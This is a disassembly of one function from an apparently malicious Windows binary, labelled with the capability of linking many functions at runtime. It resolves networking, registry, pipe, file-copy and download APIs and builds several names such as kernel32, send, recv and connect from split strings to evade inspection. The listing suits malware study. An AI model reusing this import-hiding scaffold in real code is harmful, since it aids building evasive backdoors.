Function at 0x100013f8
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1002b060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
push str.TextOutA
push str.GDI32
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call edi
push str.CoInitialize
mov ebx, str.ole32
push ebx
mov dword [0x100314f0], eax
call esi
push eax
call edi
push str.CoUninitialize
push ebx
mov dword [0x100311b8], eax
call esi
push eax
call edi
push str.CoCreateInstance
push ebx
mov dword [0x1003160c], eax
call esi
push eax
call edi
push str.GetForegroundWindow
push str.user32
mov dword [0x10031080], eax
call esi
push eax
call edi
push 0x14
mov dword [0x100311b0], eax
lea eax, [ebp - 0x18]
push 0
push eax
call fcn.10011d50
push str.rnel3
lea eax, [ebp - 0x18]
push str.ke_s2
push eax
call fcn.100137e6
add esp, 0x18
push str.RemoveDirectoryA
lea eax, [ebp - 0x18]
push eax
call esi
push eax
call edi
push 0x100224a8
mov ebx, str.kernel32
push ebx
mov dword [0x100310bc], eax
call esi
push eax
call edi
push 0x10022490
push ebx
mov dword [0x1003028c], eax
call esi
push eax
call edi
push 0x10022484
push ebx
mov dword [0x1002c2e8], eax
call esi
push eax
call edi
push str.GetShortPathNameA
push ebx
mov dword [0x100314e8], eax
call esi
push eax
call edi
push str.GetTempPathA
mov dword [0x10031088], eax
push ebx
call esi
push eax
call edi
push 0x10022454
push ebx
mov dword [0x100302a0], eax
call esi
push eax
call edi
push 0x1002244c
push ebx
mov dword [0x1003108c], eax
call esi
push eax
call edi
push 0x1002243c
push ebx
mov dword [0x1002dd7c], eax
call esi
push eax
call edi
push str.CreateMutexA
push ebx
mov dword [0x1002c75c], eax
call esi
push eax
call edi
push 0x10022418
push ebx
mov dword [0x1002c2e4], eax
call esi
push eax
call edi
push str.WaitForMultipleObjects
push ebx
mov dword [0x100310dc], eax
call esi
push eax
call edi
push str.GetStartupInfoA
push ebx
mov dword [0x100310a8], eax
call esi
push eax
call edi
push str.CreatePipe
push ebx
mov dword [0x1002fbfc], eax
call esi
push eax
call edi
push 0x100223dc
push ebx
mov dword [0x1002c54c], eax
call esi
push eax
call edi
push str.CopyFileA
push ebx
mov dword [0x1003010c], eax
call esi
push eax
call edi
push 0x100223c4
push ebx
mov dword [0x1003145c], eax
call esi
push eax
call edi
push str.SetFileAttributesA
push ebx
mov dword [0x1003021c], eax
call esi
push eax
call edi
push 0x1002239c
push ebx
mov dword [0x100311b4], eax
call esi
push eax
call edi
push 0x10022388
push ebx
mov dword [0x10031114], eax
call esi
push eax
call edi
push 0x10022374
push ebx
mov dword [0x100310a4], eax
call esi
push eax
call edi
push str.RegCreateKeyA
mov ebx, str.advapi32
push ebx
mov dword [0x10031084], eax
call esi
push eax
call edi
push str.RegSetValueExA
push ebx
mov dword [0x1002c2e0], eax
call esi
push eax
call edi
push str.RegCloseKey
push ebx
mov dword [0x1002dd84], eax
call esi
push eax
call edi
push str.RegQueryValueExA
push ebx
mov dword [0x100310d0], eax
call esi
push eax
call edi
push str.RegOpenKeyA
push ebx
mov dword [0x10031524], eax
call esi
push eax
call edi
push str.WSAStartup
mov ebx, str.ws2_32
push ebx
mov dword [0x1003146c], eax
call esi
push eax
call edi
push str.setsockopt
push ebx
mov dword [0x1002f7f4], eax
call esi
push eax
call edi
push str.closesocket
push ebx
mov dword [0x10030298], eax
call esi
push eax
call edi
push 0x14
mov dword [0x10031460], eax
lea eax, [ebp - 0x18]
push 0
push eax
call fcn.10011d50
push 0x100222ec
lea eax, [ebp - 0x18]
push str.s_sd
push eax
call fcn.100137e6
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
push ebx
call esi
push eax
call edi
mov dword [0x100302dc], eax
push 0x14
lea eax, [ebp - 0x18]
push 0
push eax
call fcn.10011d50
push 0x100222e0
lea eax, [ebp - 0x18]
push str.r_sv
push eax
call fcn.100137e6
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
push ebx
call esi
push eax
call edi
push str.gethostname
push ebx
mov dword [0x10030294], eax
call esi
push eax
call edi
push 0x14
mov dword [0x10030218], eax
lea eax, [ebp - 0x18]
push 0
push eax
call fcn.10011d50
push 0x100222c8
lea eax, [ebp - 0x18]
push str.con_sct
push eax
call fcn.100137e6
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
push ebx
call esi
push eax
call edi
push str.socket
push ebx
mov dword [0x1002dd80], eax
call esi
push eax
call edi
push str.inet_addr
push ebx
mov dword [0x10031468], eax
call esi
push eax
call edi
push str.htons
push ebx
mov dword [0x100310ac], eax
call esi
push eax
call edi
push str.inet_ntoa
push ebx
mov dword [0x10030214], eax
call esi
push eax
call edi
push 0x14
mov dword [0x100315f4], eax
lea eax, [ebp - 0x18]
push 0
push eax
call fcn.10011d50
push str.ostby
lea eax, [ebp - 0x18]
push str.geth_sname
push eax
call fcn.100137e6
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
push ebx
call esi
push eax
call edi
push str.URLDownloadToCacheFileA
push str.urlmon
mov dword [0x10030108], eax
call esi
push eax
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov dword [0x1002f7f0], eax
pop ebx
call fcn.1001386a
leave
ret